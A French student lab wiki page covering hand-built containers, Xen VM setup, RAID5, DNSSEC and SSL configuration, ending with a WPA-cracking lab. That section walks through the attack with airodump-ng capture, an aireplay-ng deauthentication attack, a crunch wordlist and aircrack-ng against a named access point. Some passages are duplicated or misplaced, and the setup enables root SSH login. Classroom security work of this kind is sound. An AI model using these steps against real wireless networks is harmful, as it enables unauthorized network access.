On peut donc alors parfaitement pinger les conteneurs entre eux ainsi qu'avec la machine hote

On ajoute egalement l'interface eth1 au conteneur 3 qui servira de mandataire 

ip link set eth1@vif4 netns /proc/[PID CONTENEUR 3]/ns/net name eth1
ip addr add 172.26.145.140/24 dev eth1
ip link set eth1 up


Mise en place des mandataires inverses

TP Conteneur Reseau

Etapes de realisation des conteneurs (a la main)

Creation d'un fichier (utilisé en tant que partition) de 10240 bloc de 1024k octets (Soit un fichier de 10Go) 

dd if=/dev/zero of=disc.img bs=1024k count=10240

Creation d'un systeme d'un systeme de fichier linux au sein du fichier precedemment créé 

mkfs disc.img

Creation des dossiers temporaires dans lequel le systeme sera monté 

mkdir /tmp/fs1
mkdir /tmp/fs2
mkdir /tmp/fs3

Montage du systeme de fichier dans fs1 

mount -o loop disc.img /tmp/fs1

La commande df -Ath permet d'avoir la liste des partitions montés par le systeme

Df ath.png

On voit bien que le /tmp/fs0 propose un emplacement memoire de 10Go

Bootstrap d'un systeme Debian au sein de la partition montée 

debootstrap --include=apache2,vim,nano  stable /tmp/fs1

Preparation du montage du systeme 

echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

Unmount de la partition 

umount /tmp/fs1

(On remarque bien que la partition n'est plus montée via df -h)

Duplication de l'image deux fois, puis montage des trois systemes de fichier 

cp disc.img disc2.img
cp disc.img disc3.img

mount -o loop disc.img /tmp/fs1
mount -o loop disc2.img /tmp/fs2
mount -o loop disc3.img /tmp/fs3

On verifie le resultat avec un autre df -h

Dfh2.png

Demarrage des conteneurs en chargeant les systemes de fichier. 

unshare -n -u -p -f -m chroot /tmp/fs1 /bin/sh -c "mount /proc ; /bin/bash";
# La commande unshare permet de couper la liaison d'un processus avec les differentes tables de nom
# -n : table de nom reseau
# -u : table des hostnames

Si la creation du conteneur fonctionne bien : on ne peut pas revenir dans le dossier parent en faisant la commande 'cd ..', et de plus la commande ps ne retourne le resultat suivant :

Ps.png

On voit bien qu'il n'y a pas d'autre processus lancé, on se trouve donc bien dans le conteneur

En lancant donc les trois conteneurs, chacun est alors independant de l'autre, et l'on peut lancer la commande suivante pour voir "l'existence" des trois conteneurs 

ps aux | grep unshare

Psaux.png

Mise en réseau des conteneurs

Creation du bridge (commutateur virtuel) sur la machine hote 

ip link add bridge2 type bridge

Sur la machine hote, on crée également les différentes interfaces réseaux (une par conteneur + une pour le mandataire) 

ip link add vif1 type veth peer name eth0@vif1   #conteneur 1
ip link add vif2 type veth peer name eth0@vif2   #conteneur 2
ip link add vif3 type veth peer name eth0@vif3   #conteneur 3
ip link add vif4 type veth peer name eth1@vif4   #mandataire

Ajout puis activation des differentes interfaces reseaux dans leur bridge respectif. 

ip link set vif1 master bridge2
ip link set vif2 master bridge2
ip link set vif3 master bridge2
ip link set vif4 master bridge

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up

On recupere les PID des differents conteneurs 

ps aux | grep unshare

Grepunshare.png


Il est necessaire "d'envoyer" les differentes interfaces reseaux a leur conteneur respectif 

ip link set eth0@vif1 netns /proc/[PID CONTENEUR 1]/ns/net name eth0 #conteneur 1
ip link set eth0@vif2 netns /proc/[PID CONTENEUR 2]/ns/net name eth0 #conteneur 2
ip link set eth0@vif3 netns /proc/[PID CONTENEUR 3]/ns/net name eth0 #conteneur 3

On ajoute ensuite les adresses IP a chaque conteneur

Dans le conteneur 1 

ip addr add 192.168.1.11/24 dev eth0
ip link set eth0 up
ip link set lo up

Dans le conteneur 2 

ip addr add 192.168.1.12/24 dev eth0
ip link set eth0 up
ip link set lo up

Dans le conteneur 3 

ip addr add 192.168.1.13/24 dev eth0
ip link set eth0 up
ip link set lo up

On peut donc alors parfaitement pinger les conteneurs entre eux ainsi qu'avec la machine hote

On ajoute egalement l'interface eth1 au conteneur 3 qui servira de mandataire 

ip link set eth1@vif4 netns /proc/[PID CONTENEUR 3]/ns/net name eth1
ip addr add 172.26.145.140/24 dev eth1
ip link set eth1 up


Mise en place des mandataires inverses

Configuration du fichier sites-enables/000-default.conf du mandataire inverse (conteneur 3) 

<VirtualHost *:80>
 ServerName azeroth.plil.space
 ServerAdmin webmaster@mdelobel.plil.space
 ProxyPass / http://192.168.1.11
 ProxyPassRever / http://192.168.1.11
 ProxyRequests Off
 ErrorLog ${APACHE_LOG_DIR}/error.log
 CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
 ServerName argus.plil.space
 ServerAdmin webmaster@mdelobel.plil.space
 ProxyPass / http://192.168.1.12
 ProxyPassRever / http://192.168.1.12
 ProxyRequests Off
 ErrorLog ${APACHE_LOG_DIR}/error.log
 CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

11h => Serveurs Web unshare OK (pb a du recommencer voir Ji)

12h20 => Serveurs Web docker OK


TP PRA Global

Cette partie a été realisée en binôme avec Ji YANG

Changement des cartes SD (Cordouan et Chassiron)

Changement du système de stockage pour les serveur Chassiron et Cordouan. L'objectif étant d'augmenter la taille des cartes SD servant au stockage du système afin de passer de carte 2Go a 16Go


Etapes de réalisation

Nous nous attaquerons dans une premier temps au serveur Chassiron, qui n'est pas en utilisé activement pour les travaux en cours, cela permettra de bénéficier de plus de temps pour mettre en place les manipulations, afin d'aller plus vite sur le serveur Cordouan qui est necessaire au fonctionnement de certains systèmes

Extinction des machines et recup des cartes SD

Avant d'extraire une des cartes SD, il est necessaire d'éteindre correctement la machine. Cette simple commande fait l'affaire 

shutdown now

Cependant la commande shutdown prévoit une sauvegarde des processus en cours, la commande halt aurait pu eviter cette étape..

PhotoChassiron.jpeg

Copie des cartes SD

Nous recuperons une des deux cartes SD présentes sur Chassiron, puis la branchons sur un des ordinateurs portables (Flétan dans notre cas) afin de proceder à la copie des cartes. (On ne peut utiliser une Zabeth ni une Tutur, car elles ne disposent pas de lecteur de carte SD)

Une fois la carte branchée, on remarque en utilisant la commande ls /dev/ que 4 nouveaux fichiers sont apparus. Pour voir lesquels, cela est très facile : 

ls /dev/ > tmp
##BRANCHER LA CARTE SD
ls /dev/ > tmp2
diff tmp tmp2

On voit alors le nom des trois fichiers. Grace à la commande suivante, on peut determineur leur contenu, et le type de fichier 

fdisk -l /dev/mmcblk0*

/// INSERER PHOTO

On voit que le fichier mmcblk0 contient 3 partitions, une de type Linux, une Extended, ainsi qu'une Linux Swap. Etant donné qu'il s'agit du type respectif des trois autres fichiers.. on en déduit que la partition mmcblk0 contient en réalité mmcblk0p1, p2 et p5


Il ne suffit donc de dupliquer le contenu de mmcblk0 vers l'autre carte, car il contient l'intégralité des données de la carte. Pour se faire, on duplique les données vers un fichier temporaire, que l'on re-dupliquera vers la plus grande carte SD 

dd if=/dev/mmcblk0 of=/home/pifou/TMP_SAVESDCARD1_CHASSIRON/data.bin
### CHANGEMENT DE CARTE
dd if=/home/pifou/TMP_SAVESDCARD1_CHASSIRON/data.bin of=/dev/mmcblk0

On peut vérifier la bonne duplication du système en reefectuant la commande 'ls /dev/' et en voyant que les partitions mmcblk0p1, p2 et p5 ont été créées.

On peut également monter le système pour vérifier son intégrité. 

mkdir /tmp/u1
mount /dev/mmcblk0p1 /tmp/u1
cd /tmp/u1

Si tout se passe bien, on peut parfaitement naviguer dans le système Linux de Chassiron

Augmentation de la taille des partitions

Afin d'utiliser pleinement les cartes SD et toute leur capacité, il est necessaire d'augmenter la taille des partitions (qui est encore à 2Go à cette étape), afin de pouvoir ensuite augmenter la tailler du système de fichier.

Pour se faire il faut tout d'abord démonter la carte. 

umount /tmp/u1

Puis on peut lancer l'utilitaire "parted" afin de modifier les partitions en ligne de commande. On utilise alors la suite de commande suivante

Tests d'intrusion

select /dev/mmcblk0
print

//INSERER PHOTO

Comme on peut le voir, si l'on souhaite augmenter la taille de la partition du système linux (aka. changer l'indice de fin de la partition) il faut tout d'abord supprimer les partitions de swap. Pour se faire 

rm 2   #identifiant obtenu avec la commande print
rm 5 

resizepart 1  #Augmente la taille de la partition "1" (celle du système)
15000

//PHOTO

Une fois cela fait, on recrée les partitions necessaires au swap 

mkpart extended 15001 15134  #Creation de l'extented apres la partition du Linux
mkpart logical linux-swap(v1) 15001 15134

On peut ensuite regenerer le fichier avec la commande dd

Une fois la taille de la partition augmentée, on peut desormais augmenter la taille du système de fichier Linux. Pour se faire, on lance les commandes suivantes : 

e2fsck -f /dev/mmcblk0p1
resize2fs /dev/mmcblk0p1

Cela redimensionnera automatiquement le système de fichier afin qu'il prenne la taille maximale de la partition

Creation VM Xen

Creation de l'image

Une fois le serveur Cordouan redémarré, on s'y connecte en SSH ( cordouan.insecserv.deule.net ), puis on y cree l'image Xen qui nous servira de VM. Le thème choisi étant les déités grecques.. notre VM s'appellera 'Chronos' 

xen-create-image --hostname=Chronos --ip=193.48.57.181 --netmask=255.255.255.240 --gateway=193.48.57.176 --dir=/usr/local/xen

Du fait que nous n'avons pas préciser l'option --password, un mdp a été généré automatiquement, il est lisible dans les logs, accessibles grâce à : 

cat /var/log/xen-tools/Chronos.log

On peut ensuite lancer la commande 

xl create /etc/xen/Chronos.cfg

On peut vérifier le bon fonctionnement grâce à la commande 

xl list

Xllisrt.png


On voit donc bien l'image Xen 'Chronos' qui est lancée, on peut donc s'y connecter : 

xl console Chronos

Pour plus de praticité, on va changer le mot de passe, en utilisant celui habituel de root avec la commande passwd

Activation SSH

On autorise l'utilisation du SSH en tant que root, pour se faire on modifie le fichier de config /etc/ssh/sshd_config, en éditant la commande PermitRootLogin 

PermitRootLogin yes

On pense a redemarrer le service ssh 

service ssh stop
service ssh start

Ajout des partitions logiciels

Extention des volumes du /home et /var

Notre VM est hebergé par le serveur Cordouan sur un seul volume de 10Go. Pour la suite du TP, notre VM aura besoin de plus d'espace, nous créons donc 2 partitions logicielles sur Cordouan, de 10Go chacune que l'on reservera au /home et au /var 

lvcreate -L10G -n chronos-home virtual
lvcreate -L10G -n chronos-var virtual

Une fois les partitions créées, il faut les raccorder à la machine Xen, pour se faire on modifie le fichier de config Chronos.cfg 

root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Chronos/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Chronos/swap.img,xvda1,w',

'phy:/dev/virtual/chronos-home,xvdb1,w', 'phy:/dev/virtual/chronos-var,xvdc1,w',

Une fois Chronos redemarré, on créé un système de fichier dans les partitions de 10Go recemment importée. 

mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdc1

On peut alors monter ses partitions dans le /home et dans le /var 

mount /dev/xvdb1 /home   #Pas de probleme, car le /home est vide

mkdir /vtmp
mount /dev/xvdc1 /vtmp
cp -R /var/* /vtmp/
umount /vtmp
mount /dev/xvdc1 /var

Afin que cette configuration soit conservée et lancée au changement, on modifie le fichier /etc/fstab 

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
proc            /proc           proc    defaults        0       0
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvdb1 /home ext4 defaults 0 2
/dev/xvdc1 /var ext4 defaults 0 2


Creation du RAID5

Afin de crée le RAID5, il est necessaire d'installer le paquet mdadm 

apt-get install mdadm

On reproduit la manipulation precedente afin de crée trois partitions de 1Go 

lvcreate -L1G -n khronos-part1 virtual
lvcreate -L1G -n khronos-part2 virtual
lvcreate -L1G -n khronos-part3 virtual

et ajout dans le Chronos.cfg 

'phy:/dev/virtual/khronos-part1,xvdd1,w',
'phy:/dev/virtual/khronos-part2,xvde1,w',
'phy:/dev/virtual/khronos-part3,xvdf1,w'

Apres redemarrage de la machine, les 3 partitions sont chargées, il est donc possible de créer un RAID logiciel via la commande : 

mkdir /raid
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdef1
mkfs -t ext4 /dev/md0

On rajoute donc le RAID5 dans le /etc/fstab 

/dev/md0 /raid ext4 defaults 0 2

On peut donc vérifier le bon fonctionnement du systeme avec la commande lsblk

Lsblk.png

Configuration de bind9

Bind est un paquet permettant la mise en place d'un DNS sur la machine, on l'installe donc au côté d'apache pour la suite du TP 

apt-get install bind9 apache2

Bind vient avec tout un packetage de fichier de configuration à modifier permettant le bon fonctionnement du systeme. Afin de configurer notre propre DNS, nous allons créer le fichier /etc/bind/dns.khronos.site dans lequel nous écrirons notre onfig 

$TTL	604800
 @	IN	SOA	dns.khronos.site. root.khronos.site. (
				12	 ; Serial
			     43200	 ; Refresh
			      1800	 ; Retry
			   1814400	 ; Expire
 			    604800 ) 	 ; Negative Cache TTL
;
	IN	NS	dns.khronos.site.
	IN	NS	ns6.gandi.net.
dns	IN	A	193.48.57.181
www 	IN	A	193.48.57.181
@ 	IN	A	193.48.57.181

Il est important de faire attention à ce fichier, qui peut être source de nombreuses erreurs : 

- Il est primordial d'avoir un '.' a la fin des adresses dns
- A chaque modification du fichier il faut incrémenter l'indice Serial
- Ne pas oublier les 3 champs, dont le champ @
- Avoir des valeurs cohérentes pour les délais
Configuration de DNSSEC

DNSSEC permet de SECuriser les echanges DNS, pour se faire nous allons signer notre fichier de config DNS. Pour y parvenir, nous allons généré un couple de clés (KSK et ZSK) 

mkdir khronos.site.dnssec
cd khronos.site.dnssec
dnssec-keygen -f KSK -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE khronos.site
dnssec-keygen -a RSASHA1 -b 1024 -n -r /dev/urandom ZONE khronos.site

Pour plus de faciliter on renomme les clés générées 

mv Kkhronos.site.+005+52087.key khronos.site.ksk.key
mv Kkhronos.site.+005+52087.private khronos.site.ksk.private
mv Kkhronos.site.+005+49746.key khronos.site.zsk.key
mv Kkhronos.site.+005+49746.private khronos.site.zsk.private

On inclue donc ces clés dans le fichiers dns.khronos.site 

$include /etc/bind/khronos.site.dnssec/khronos.site.ksk.key
$include /etc/bind/khronos.site.dnssec/khronos.site.zsk.key

Et on peut finalement signer le fichier dns.khronos.site avec les clés (a lancé depuis le dossier /etc/bind/) 

dnssec-signzone -o khronos.site -k khronos.site.dnssec/khronos.site.ksk.key dns.khronos.site khronos.site.dnssec/khronos.site.zsk.key
Config des named.conf

Une fois le fichier /etc/bind/dns.khronos.site.signed généré, on peut donc modifier le fichier /etc/bind/named.conf.local 

 zone "khronos.site" {
	type master;
	file "/etc/bind/dns.khronos.site.signed";
	allow-transfer { 217.70.177.40;};
};

L'adresse IP dans le allow-transfer est obtenue en prennant l'adresse de ns6.gandi.net

Ns6.png

et on ajoute les commandes suivantes dans le named.conf.options afin de confirmer l'utilisation de dnssec 

dnssec-validation auto;
dnssec-enable yes;
Ajout de la clé KSK dans Gandi

Sur l'interface WEB de Gandi, il est possible d'envoyer notre clé KSK, pour se faire on donne à Gandi la partie surlignée du screen suivant

Ksk.png

Il faut bien évidemment mettre les configs correspondantes a format de la clé..


Verification du DNSSEC avec DNSVIZ

Le site [dnsviz.net] permet de vérifier l'état de marche de notre DNSSEC

Dnsviz p5.png

Et selon lui, tout est okay !

Certificat SSL et sécurisation d'Apache

Obtention du certificat

Nous commençons par un générer deux fichiers grâce à la commande 

openssl req -nodes -newkey rsa:2048 -sha1 -keyout khronos.site.key -out khronos.site.csr
  • khronos.site.csr : il s'agit d'un fichier servant à faire une demande de certificat auprès de Gandi. Il contient quelques informations personnelles ainsi que la cl" publique.
  • khronos.site.key : c'est la clé

On peut envoyer le fichier .csr à Gandi afin d'obtenir notre certificat SSL. Pour se faire on choisi le mode de validation par fichier Pour obtenir validation, il faut créer le fichier /var/www/html/.well-known/pki-validation/B726A2F14B337F7C0B53A107F0930FF2.txt et y mettre le contenu exigé par Gandi (Attention dans le formatage de Gandi les retours chariots sont écris avec des \n, il est necessaire de bien les remplacer..)

On peut donc telecharger notre certificat SSL une fois qu'il a été validé. Une fois obtenu, on le deplace dans les dossiers correspondants 

/etc/ssl/certs/khronos.site.crt                                                                      
/etc/ssl/private/khronos.site.key                                                                 
/etc/ssl/certs/GandiStandardSSLCA2.pem
Securisation d'Apache

Il est nécessaire d'activer le module SSL d'Apache, cela se fait grâce à la commande suivante 

a2enmod ssl

Une fois cela fait, on peut donc modifier le fichier de config d'apache /etc/apache2/sites-enabled/000-default.conf 

<VirtualHost *:80>
	ServerName www.khronos.site
	Redirect / https://www.khronos.site        #Tout appel sur le port 80 (http) redirigera vers le https a savoir le 443
	DocumentRoot /var/www/html
</VirtualHost>

<VirtualHost *:443>
	ServerName www.khronos.site
	DocumentRoot /var/www/html
	SSLEngine on
	SSLCertificateFile /etc/ssl/certs/khronos.site.crt
	SSLCertificateKeyFile /etc/ssl/private/khronos.site.key
	SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
	SSLVerifyClient None
</VirtualHost>

Une fois la modifications effectuées, on redemarre le service apache2 

service apache2 restart

Et une fois que Gandi a réalisé sa propagation, il est possible d'obtenir un connexion https sécurisée sur khronos.site

Sslkhronos.png

Tests d'intrusion

Crakage de clé de WPA

premièrement, nous regardons le nom de l'interface du wifi: 

ip a

Et nous trouvons son nom est 'wlx40a5ef0f68ce': 

8: wlx40a5ef0f68ce: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
   link/ether 40:a5:ef:0f:68:ce brd ff:ff:ff:ff:ff:ff

Nous changons le mode de wifi à 'monitor' avec airmon-ng: 

root@tutur01:/home/pifou# airmon-ng start wlx40a5ef0f68ce

Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
 1426 dhclient
 2427 avahi-daemon
 2439 avahi-daemon
 3206 dhclient

PHY	Interface	Driver		Chipset

phy0	wlx40a5ef0f68ce	rt2800usb	Ralink Technology, Corp. RT5370
Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.
 (mac80211 monitor mode vif enabled on [phy0]wlan0mon
 (mac80211 station mode vif disabled for [phy0]wlx40a5ef0f68ce)

Trouver le bssid de cracotte05 et son channel 

airodump-ng wlan0mon

Nous trouvons que le bssid de cracotte05 est 04:DA:D2:9C:50:54, son channel est 9

Nous surveillons ce bssid et enregistrons les packages: 

airodump-ng -c 9 --bssid 04:DA:d2:9C:50:54 -w psk wlan0mon

Nous trouvons que le wifi est lié avec un apparail dont bssid est 04:DA:d2:9C:50:54 

BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
04:DA:D2:9C:50:54, 2018-12-17 13:34:41, 2018-12-17 13:36:24,  9,  54, WPA2 WPA, CCMP TKIP,PSK, -36,      900,      126,   0.  0.  0.  0,  10, cracotte05, 

Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
40:A5:EF:0F:65:18, 2018-12-17 13:34:46, 2018-12-17 13:36:03, -46,       89, 04:DA:D2:9C:50:54,


Nous attaquons le wifi: 

aireplay-ng -a 04:DA:D2:9C:50:54 -c 40:A5:EF:0F:65:18 wlan0mon

Quand nous trouve que dans le terminal de airodump-ng apparait le 'handshake' à la première line, nous l'arrètons.

Nous utilison crunch à créer une liste de mot de passe: 

crunch 8 8 0123456789 -o password.lst

Nous utilison le aircrack-ng à le craquer. 

aircrack-ng psk*.cap
Récupérée de « https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G5&oldid=48944 »